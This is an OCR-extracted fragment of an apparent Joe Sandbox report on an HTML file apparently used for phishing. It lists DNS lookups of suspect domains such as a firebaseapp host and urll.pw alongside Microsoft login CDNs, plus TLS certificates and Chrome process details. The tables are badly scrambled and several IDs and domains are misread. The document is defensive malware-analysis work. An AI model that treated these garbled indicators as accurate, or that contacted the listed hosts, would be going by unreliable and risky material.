Apr 19, 2021 23:55:17.309568882 CEST 53 64785 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:22.846302032 CEST 50208 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:22.914196968 CEST 53 50208 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:36.979778051 CEST 62477 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:37.059561014 CEST 53 62477 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:37.218053102 CEST 54467 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:37.275115967 CEST 53 54467 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:37.339468956 CEST 60548 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:37.401547909 CEST 53 60548 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:55.242157936 CEST 59623 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:55.308810949 CEST 53 59623 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:55.432197094 CEST 51689 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:55.489032984 CEST 53 51689 8.8.8.8 192.168.2.3
Apr 19, 2021 23:55:55.553792000 CEST 64806 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:55:55.623330116 CEST 53 64806 8.8.8.8 192.168.2.3
Apr 19, 2021 23:56:57.914290905 CEST 49686 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:56:57.972502947 CEST 53 49686 8.8.8.8 192.168.2.3
Apr 19, 2021 23:56:58.534230947 CEST 56195 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:56:58.598762035 CEST 53 56195 8.8.8.8 192.168.2.3
Apr 19, 2021 23:57:03.102452040 CEST 62241 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:57:03.176067114 CEST 53 62241 8.8.8.8 192.168.2.3
Apr 19, 2021 23:57:07.106235027 CEST 50543 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:57:07.173366070 CEST 53 50543 8.8.8.8 192.168.2.3
Apr 19, 2021 23:57:07.646269083 CEST 56445 53 192.168.2.3 8.8.8.8
Apr 19, 2021 23:57:07.720850945 CEST 53 56445 8.8.8.8 192.168.2.3

ICMP Packets

Timestamp Source IP Dest IP Checksum Code Type
Apr 19, 2021 23:53:12.753978968 CEST 192.168.2.3 8.8.8.8 do40 (Port Destination
unreachable) Unreachable

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Apr 19, 2021 23:52:12.513402939 CEST 192.168.2.3 8.8.8.8 Oxcfbc Standard query  sslcnd.aio A (IP address) IN (0x0001)
0) ecoin.org

Apr 19, 2021 23:52:13.565999031 CEST 192.168.2.3 8.8.8.8 0xb58a Standard query  kamppcndde A (IP address) IN (0x0001)
0) moiz.fireb

aseapp.com

Apr 19, 2021 23:52:13.925981045 CEST 192.168.2.3 8.8.8.8 0xal03 Standard query  unpkg.com A (IP address) IN (0x0001)
(0)

Apr 19, 2021 23:52:14.567890882 CEST 192.168.2.3 8.8.8.8 0xef90 Standard query  cdnjs.clou A (IP address) IN (0x0001)
0) dflare.com

Apr 19, 2021 23:52:16.297907114 CEST 192.168.2.3 8.8.8.8 0x4e55 Standard query  oem.urll.pw A (IP address) IN (0x0001)
(0)

Apr 19, 2021 23:52:16.301145077 CEST 192.168.2.3 8.8.8.8 0x9f1f Standard query  aadcdn.msa A (IP address) IN (0x0001)
0) uth.net

Apr 19, 2021 23:52:16.603230953 CEST 192.168.2.3 8.8.8.8 0x5820 Standard query  secure.aad A (IP address) IN (0x0001)
(0) cdn.micros

oftonline-p.com

Apr 19, 2021 23:52:17.542326927 CEST 192.168.2.3 8.8.8.8 0x8fc6 Standard query  secure.aad A (IP address) IN (0x0001)
0) cdn.micros
oftonline-p.com

Apr 19, 2021 23:52:17.681209087 CEST 192.168.2.3 8.8.8.8 0x3404 Standard query  kamppcndde A (IP address) IN (0x0001)
0) moiz.fireb
aseapp.com
Apr 19, 2021 23:52:17.999243021 CEST 192.168.2.3 8.8.8.8 0x2ae9 Standard query  clients2.g A (IP address) IN (0x0001)
0) oogleuserc
ontent.com
Apr 19, 2021 23:52:19.698982000 CEST 192.168.2.3 8.8.8.8 0x16bc Standard query  bit.ly A (IP address) IN (0x0001)

)
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Timestamp

Apr 19, 2021 23:52:26.440926075 CEST

Apr 19, 2021 23:52:34.918454885 CEST

Apr 19, 2021 23:53:19.458370924 CEST

Apr 19, 2021 23:53:19.459002018 CEST

Apr 19, 2021 23:53:20.179508924 CEST

Apr 19, 2021 23:53:20.724844933 CEST

Apr 19, 2021 23:53:22.159914970 CEST

Apr 19, 2021 23:53:22.177383900 CEST

Apr 19, 2021 23:53:22.464503050 CEST

Apr 19, 2021 23:53:24.200036049 CEST

Apr 19, 2021 23:53:25.871090889 CEST

Apr 19, 2021 23:53:59.183113098 CEST

Apr 19, 2021 23:54:02.240504980 CEST

DNS Answers

Timestamp Source IP

Apr 19, 2021 8.8.8.8
23:52:12.577831030
CEST

Apr 19, 2021 8.8.8.8
23:52:12.577831030
CEST

Apr 19, 2021 8.8.8.8
23:52:13.632114887
CEST

Apr 19, 2021 8.8.8.8
23:52:13.632114887
CEST

Apr 19, 2021 8.8.8.8
23:52:13.989351034
CEST

Apr 19, 2021 8.8.8.8
23:52:13.989351034
CEST

Apr 19, 2021 8.8.8.8
23:52:13.989351034
CEST

Apr 19, 2021 8.8.8.8
23:52:13.989351034
CEST

Apr 19, 2021 8.8.8.8
23:52:13.989351034
CEST

Apr 19, 2021 8.8.8.8
23:52:14.627628088
CEST

Apr 19, 2021 8.8.8.8
23:52:14.627628088
CEST

Apr 19, 2021 8.8.8.8
23:52:16.352411032
CEST

Apr 19, 2021 8.8.8.8
23:52:16.364017963
CEST

Apr 19, 2021 8.8.8.8
23:52:16.364017963
CEST

Apr 19, 2021 8.8.8.8
23:52:16.661539078
CEST
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Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Source IP

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

Oxcfbc

Oxcfbc

0xb58a

0xb58a

0xal03

0xal03

0xal03

0xal03

0xal03

0xef90

0xef90

Ooxof1f

0x4e55

0x4e55

0x5820

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

Oxcba4

0x6f46

0x7639

0x5ff

0x1c96

Oxad92

0x33f8

0xa60e

0x7957

Oxb5e2

0xe39c

0x5aa9

O0x3ael

Name

sslcnd.aio
ecoin.org

sslcnd.aio
ecoin.org

kamppcndde
moiz.fireb
aseapp.com

kamppcndde
moiz.fireb
aseapp.com

unpkg.com

unpkg.com

unpkg.com

unpkg.com

unpkg.com

cdnjs.clou
dflare.com

cdnjs.clou
dflare.com

aadcdn.msa
uth.net

oem.urll.pw

oem.urll.pw

secure.aad
cdn.micros
oftonline-p.com

OP Code
Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)
Standard query
(0)

Standard query
(0)

CName

Name

ajax.aspne
tcdn.com

assets.one
store.ms

microsoftw
indows.112
.207.net

mem.gfx.ms

publisher.
liveperson.net

Iptag.live
person.net

accdn.lpsn
media.net

static-assets.fs.liv
eperson.com

logincdn.m
sauth.net

Ipcdn.lpsn
media.net

va.v.livep
erson.net

consentrec
eiverfd-pr
od.azurefd.net

mcraa.fs.|
iveperson.com

Address

172.67.176.224

104.21.91.175

151.101.1.195

151.101.65.195

104.16.124.175

104.16.123.175

104.16.126.175

104.16.122.175

104.16.125.175

104.16.18.94

104.16.19.94

aadcdnoriginwus2.azuree

dge.net

104.21.72.95

172.67.179.200

secure.aadcdn.microsofto
nline-p.com.edgekey.net

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Apr 19, 2021 8.8.8.8
23:52:17.602826118
CEST

Apr 19, 2021 8.8.8.8
23:52:17.747335911
CEST

Apr 19, 2021 8.8.8.8
23:52:17.747335911
CEST

Apr 19, 2021 8.8.8.8
23:52:18.064847946
CEST

Apr 19, 2021 8.8.8.8
23:52:18.064847946
CEST

Apr 19, 2021 8.8.8.8
23:52:19.750211000
CEST

Apr 19, 2021 8.8.8.8
23:52:19.750211000
CEST

Apr 19, 2021 8.8.8.8
23:52:20.956765890
CEST

Apr 19, 2021 8.8.8.8
23:52:26.491677999
CEST

Apr 19, 2021 8.8.8.8
23:52:26.514564037
CEST

Apr 19, 2021 8.8.8.8
23:52:34.978703022
CEST

Apr 19, 2021 8.8.8.8
23:53:19.516767979
CEST

Apr 19, 2021 8.8.8.8
23:53:19.516767979
CEST

Apr 19, 2021 8.8.8.8
23:53:19.516767979
CEST

Apr 19, 2021 8.8.8.8
23:53:19.518877983
CEST

Apr 19, 2021 8.8.8.8
23:53:20.265749931
CEST

Apr 19, 2021 8.8.8.8
23:53:20.265749931
CEST

Apr 19, 2021 8.8.8.8
23:53:20.265749931
CEST

Apr 19, 2021 8.8.8.8
23:53:20.265749931
CEST

Apr 19, 2021 8.8.8.8
23:53:20.265749931
CEST

Apr 19, 2021 8.8.8.8
23:53:20.805723906
CEST

Apr 19, 2021 8.8.8.8
23:53:21.869082928
CEST

Apr 19, 2021 8.8.8.8
23:53:22.220659971
CEST

Apr 19, 2021 8.8.8.8
23:53:22.236485004
CEST

Apr 19, 2021 8.8.8.8
23:53:22.236485004
CEST

Apr 19, 2021 8.8.8.8
23:53:22.236485004
CEST

Copyright Joe Security LLC 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x8fc6

0x3404

0x3404

0x2ae9

0x2ae9

0x16bc

0x16bc

Oxffdf

Oxb2a7

Oxcba4

0x6f46

0x7639

0x7639

0x7639

0x5ff

0x1c96

0x1c96

0x1c96

0x1c96

0x1c96

Oxad92

0xddOb

0x33f8

0xa60e

0xa60e

0xa60e

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

secure.aad
cdn.micros
oftonline-p.com

kamppcndde
moiz.fireb
aseapp.com

kamppcndde
moiz.fireb
aseapp.com

clients2.g
oogleuserc
ontent.com

googlehost
ed.l.googl!
euserconte
nt.com

bit.ly

bit.ly

prda.aadg.
msidentity.com

consentdel
iveryfd.az
urefd.net

ajax.aspne
tcdn.com

assets.one
store.ms

microsoftw
indows.112
.207.net
microsoftw
indows.112
.207.net
microsoftw
indows.112
.207.net

mem.gfx.ms

publisher.
liveperson.net

liveperson
.map.fastly.net

liveperson
.map.fastly.net

liveperson
.map.fastly.net

liveperson
.map.fastly.net

Iptag.live
person.net

prda.aadg.
msidentity.com

accdn.lpsn
media.net

static-ass
ets.fs.liv
eperson.com

dhly47vi5t
tia.cloudfront.net

dhly47vi5t
tia.cloudfront.net

CName

secure.aadcdn.microsofto
nline-p.com.edgekey.net

googlehosted.l.googleuse
rcontent.com

www.tm.a.prd.aadg.akadn
s.net

firstparty-azurefd-
prod.trafficmanager.net

mscomajax.vo.msecnd.ne
t

assets.onestore.ms.akad
ns.net

cdn.account.microsoft.co
m.akadns.net

publisher.livepersonk.aka
dns.net

Iptag.liveperson.cotcdb.n
et.livepersonk.akadns.net

www.tm.a.prd.aadg.akadn
s.net

geo.accdn.livepersonk.ak
adns.net

dhly47vf5ttia.cloudfront.n
et

Address

151.101.65.195

151.101.1.195

216.58.212.129

67.199.248.11

67.199.248.10

15.237.76.117

15.237.136.106

35.181.18.61

151.101.1.192

151.101.65.192

151.101.129.192

151.101.193.192

13.32.25.13

13.32.25.92

Type
CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Apr 19, 2021 8.8.8.8
23:53:22.236485004
CEST

Apr 19, 2021 8.8.8.8
23:53:22.236485004
CEST

Apr 19, 2021 8.8.8.8
23:53:22.542038918
CEST

Apr 19, 2021 8.8.8.8
23:53:22.542038918
CEST

Apr 19, 2021 8.8.8.8
23:53:24.274127960
CEST

Apr 19, 2021 8.8.8.8
23:53:25.929315090
CEST

Apr 19, 2021 8.8.8.8
23:53:59.240931988
CEST

Apr 19, 2021 8.8.8.8
23:54:02.303163052
CEST

Apr 19, 2021 8.8.8.8
23:54:02.303163052
CEST

Apr 19, 2021 8.8.8.8
23:56:57.972502947
CEST

HTTPS Packets

Timestamp Source IP

Apr 19, 2021 151.101.1.192 443

23:53:20.409603119
CEST

Apr 19, 2021 34.234.50.33 443

23:54:02.560950041
CEST

Copyright Joe Security LLC 2021

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Source
Port Dest IP

Trans ID

0xa60e

0xa60e

0x7957

0x7957

Oxb5e2

0xe39c

0x5aa9

O0x3ael

Ox3ael

0x600e

Dest
Port

192.168.2.3 49899

192.168.2.3 49991

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Subject

CN-=liveperson.net,

O="LivePerson, Inc.", L=New

York, ST=New York, C:

CN=GlobalSign CloudSSL

CA - SHA256 - G3,

0O=GlobalSign nv-sa, C=BE

CN=GlobalSign CloudSSL

CA - SHA256 - G3,

O=GlobalSign nv-sa, C=BE

CN=fs.liveperson.com

CN=Amazon, OU=Server CA

1B, O=Amazon, C=US
CN=Amazon Root CA
O=Amazon, C=US

CN=Starfield Services

Certificate Authority - G2,
O="Starfield Technologies,

Inc.", L=Scottsdale,
ST=Arizona, C=US

CN=Amazon, OU=Server CA

1B, O=Amazon, C=US

CN=Amazon Root CA
O=Amazon, C=US

Name CName Address Type Class
dh1y47vf5t 13.32.25.116 A (IP address)  IN (0x0001)
tia.cloudfront.net
dh1y47vf5t 13.32.25.53 A (IP address)  IN (0x0001)
tia.cloudfront.net
logincdn.m Igincdn.trafficmanager.net CNAME IN (0x0001)
sauth.net (Canonical
name)
cs1227.wpc 192.229.221.185 A (IP address)  IN (0x0001)
.alphacdn.net
Ipcdn.lpsn geo.lpcdn.livepersonk.aka CNAME IN (0x0001)
media.net dns.net (Canonical
name)
va.v.livep geo.va- CNAME IN (0x0001)
erson.net v.livepersonk.akadns.net (Canonical
name)
consentrec firstparty-azurefd- CNAME IN (0x0001)
eiverfd-pr prod.trafficmanager.net (Canonical
od.azurefd.net name)
mcraa.fs.| 34.234.50.33 A (IP address)  IN (0x0001)
iveperson.com
mcraa.fs.| 50.16.177.212 A (IP address)  IN (0x0001)
iveperson.com
prda.aadg. www.tm.a.prd.aadg.akadn CNAME IN (0x0001)
msidentity.com  s.net (Canonical
name)
Not Not JA3 SSL Client
Issuer Before After Fingerprint JA3 SSL Client Digest
CN=GlobalSign Tue Mar Thu Mar 771,4865-4866- b32309a26951912be7dba
CloudSSL CA - 09 10 4867-49195-49199- 376398abc3b
=US  SHA256 - G3, 02:30:39 02:30:39 49196-49200-
O=GlobalSign nv-sa, CET CET 52393-52392-
C=BE 2021 2022 49171-49172-156-
CN=GlobalSign Root Wed Tue Aug 157-47-53,0-23-
CA, OU=Root CA, Aug 19 19 65281-10-11-35-16-
O=GlobalSign nv-sa, 02:00:00 02:00:00 5-13-18-51-45-43-
C=BE CEST CEST  27-21,29-23-24,0
2015 2025
CN=GlobalSign Root Wed Tue Aug
CA, OU=Root CA, Aug 19 19
0O=GlobalSign nv-sa, 02:00:00 02:00:00
C=BE CEST CEST
2015 2025
CN=Amazon, Thu May Mon Jun 771,4865-4866- b32309a26951912be7dba
OU=Server CA1B, 21 21 4867-49195-49199- 376398abc3b
O=Amazon, C=US  02:00:00 14:00:00 49196-49200-
1, CN=Amazon Root CEST CEST  52393-52392-
CA 1, O=Amazon, 2020 2021 49171-49172-156-
Root  C=US CN=Starfield Thu Oct Sun Oct 157-47-53,0-23-
Services Root 22 19 65281-10-11-35-16-
Certificate Authority - 02:00:00 02:00:00 5-13-18-51-45-43-
G2, O="Starfield CEST CEST  27-21,29-23-24,0
Technologies, Inc.", 2015 2025
L=Scottsdale, Mon Thu Dec
ST=Arizona, C=US May25 31
OuU=Starfield Class 2 14:00:00 02:00:00
Certification CEST CET
Authority, 2015 2037
O="Starfield Wed Wed
Technologies, Inc.", Sep 02 Jun 28
C=USs 02:00:00 19:39:16
CEST CEST
2009 2034
CN=Amazon Root Thu Oct  Sun Oct
CA 1, O=Amazon, 22 19
C=USs 02:00:00 02:00:00
CEST CEST
2015 2025
1, CN=Starfield Mon Thu Dec
Services Root May 25 31
Certificate Authority - 14:00:00 02:00:00
G2, O="Starfield CEST CET
Technologies, Inc.", 2015 2037

L=Scottsdale,
ST=Arizona, C=US
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Source
Timestamp

Code Manipulations

Statistics

Behavior

o)

Click to jump to process

System Behavior

Source IP Port Dest IP

Dest
Port

Subject

Not Not
Issuer Before After

CN=Starfield Services Root  OU=Starfield Class 2 Wed Wed

Certificate Authority - G2,
O="Starfield Technologies,

Inc.", L=Scottsdale,
ST=Arizona, C=US

Certification Sep 02 Jun28
Authority, 02:00:00 19:39:16
O="Starfield CEST CEST
Technologies, Inc.", 2009 2034
C=USs

@ chrome.exe
@ chrome.exe

JA3 SSL Client
Fingerprint

JA3 SSL Client Digest

Analysis Process: chrome.exe PID: 5340 Parent PID: 1004

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path

Copyright Joe Security LLC 2021

Access

23:52:07
19/04/2021

C:\Program Files\Google\Chrome\Application\chrome.exe

false

‘C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized 'C:\Users\user\

Desktop\#U266b VM-Tunes-Playback.html'
0x7ff77b960000

2150896 bytes
C139654B5C1438A95B321BB01AD63EF6
true

true

C, C++ or other language

moderate

Attributes Options Completion

Source
Count Address Symbol
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File Path

Registry Activities

Key Path

Key Path

Key Path

Source

Ascii Completion Count Address Symbol
Source

Completion Count Address Symbol
Source

Data Completion Count Address Symbol
Source

New Data Completion Count Address Symbol

Analysis Process: chrome.exe PID: 5304 Parent PID: 5340

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path

File Path

Registry Activities

Key Path

Disassembly

Copyright Joe Security LLC 2021

23:52:08

19/04/2021

C:\Program Files\Google\Chrome\Application\chrome.exe
false

‘C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=
network.mojom.NetworkService --field-trial-handle=1548,6669016277679539032,18272
077399632519590,131072 --lang=en-US --service-sandbox-type=network --enable-audio-
service-sandbox --mojo-platform-channel-handle=1712 /prefetch:8

0x7ff77b960000

2150896 bytes
C139654B5C1438A95B321BB01AD63EF6
true

true

C, C++ or other language

moderate
Source
Attributes Options Completion Count Address Symbol
Source
Ascii Completion Count Address Symbol
Source
New Data Completion Count Address Symbol

Page 60 of 60



	Table of Contents
	Analysis Report #U266b VM-Tunes-Playback.html
	Overview
	General Information
	Detection
	Signatures
	Classification

	Startup
	Malware Configuration
	Yara Overview
	Initial Sample

	Sigma Overview
	Signature Overview
	AV Detection:
	Phishing:

	Mitre Att&ck Matrix
	Behavior Graph
	Screenshots
	Thumbnails

	Antivirus, Machine Learning and Genetic Malware Detection
	Initial Sample
	Dropped Files
	Unpacked PE Files
	Domains
	URLs

	Domains and IPs
	Contacted Domains
	Contacted URLs
	URLs from Memory and Binaries
	Contacted IPs
	Public
	Private

	General Information
	Simulations
	Behavior and APIs

	Joe Sandbox View / Context
	IPs
	Domains
	ASN
	JA3 Fingerprints
	Dropped Files

	Created / dropped Files
	Static File Info
	General
	File Icon

	Network Behavior
	Snort IDS Alerts
	Network Port Distribution
	TCP Packets
	UDP Packets
	ICMP Packets
	DNS Queries
	DNS Answers
	HTTPS Packets

	Code Manipulations
	Statistics
	Behavior

	System Behavior
	Analysis Process: chrome.exe PID: 5340 Parent PID: 1004
	General
	File Activities
	Registry Activities

	Analysis Process: chrome.exe PID: 5304 Parent PID: 5340
	General
	File Activities
	Registry Activities


	Disassembly


